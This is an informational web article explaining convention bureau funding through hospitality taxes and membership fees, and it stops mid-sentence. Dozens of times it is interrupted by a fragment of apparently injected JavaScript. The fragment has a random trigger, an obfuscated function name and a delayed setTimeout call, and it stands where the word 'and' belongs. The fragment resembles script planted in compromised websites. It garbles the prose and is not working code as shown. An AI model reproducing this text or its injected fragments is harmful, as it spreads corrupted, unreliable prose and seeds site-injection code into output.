How Are Convention Bureaus Funded?

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Traditionally, convention
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and visitors bureaus are not for profit organizations that rely on a mix of funding sources for their operations. For many convention bureaus, membership fees are a major component of funding, though this might not be the only funding source. However, it is a mistaken assumption that convention
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and visitors bureaus rely on service fees from event planners
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and others; very few convention
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and visitors bureaus charge service fees,
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and those that do usually only assess fees for extraordinary services, such as company-unique marketing materials. Convention bureaus benefit the local community, local
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and visiting businesses, residents, visitors
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and travelers, all of which may fund the convention bureau in different ways.

Convention Bureau Funding Source #1: Hospitality Taxes

Hospitality taxes are a main source of operating funds for convention bureaus. Convention bureaus do not assess or determine area hospitality taxes, but rather may receive a certain percentage of hospitality taxes set
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and collected by the local government. This type of tax is most commonly assessed for goods
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and services at hotels, event venues,
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and restaurants,
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and may also be seen on receipts from bars, car rental agencies, or entertainment such as concerts. The hospitality tax may be levied as a percentage, a flat rate, or both; in some areas, it is assessed as a luxury tax, or if limited only to hotels, an occupancy tax.

Hospitality taxes benefit a community by providing funding to the convention bureau
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and other tourist
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and travel services. This funding allows services to exp
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and their offerings, bringing in more business to local companies, which in turn spreads the tax liability by encouraging more tourism as services improve. Thus, the local community, residents,
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and visitors receive continually greater benefits
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and opportunities.

Convention Bureau Funding Source #2: Membership Fees

Most convention bureaus offer schedules of membership to local businesses
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and service providers at varying levels
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and costs. This is the second largest source of funding for many convention bureaus. In return for membership dues, which are usually assessed annually, members receive a variety of benefits, including:

  • Inclusion on promotional materials distributed by the convention bureau, such as planning guides
    dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and calendars
  • Early notice of planned meetings, conventions,
    dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and activities of interest to businesses
  • Marketing support through distribution of business flyers
    dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and other materials at the convention bureau
    dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and relevant events
  • Business to business networking meetings
    dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and opportunities

Just as it is a frequent misconception that convention bureaus only specialize in large events (they do, in fact, work with all sizes of events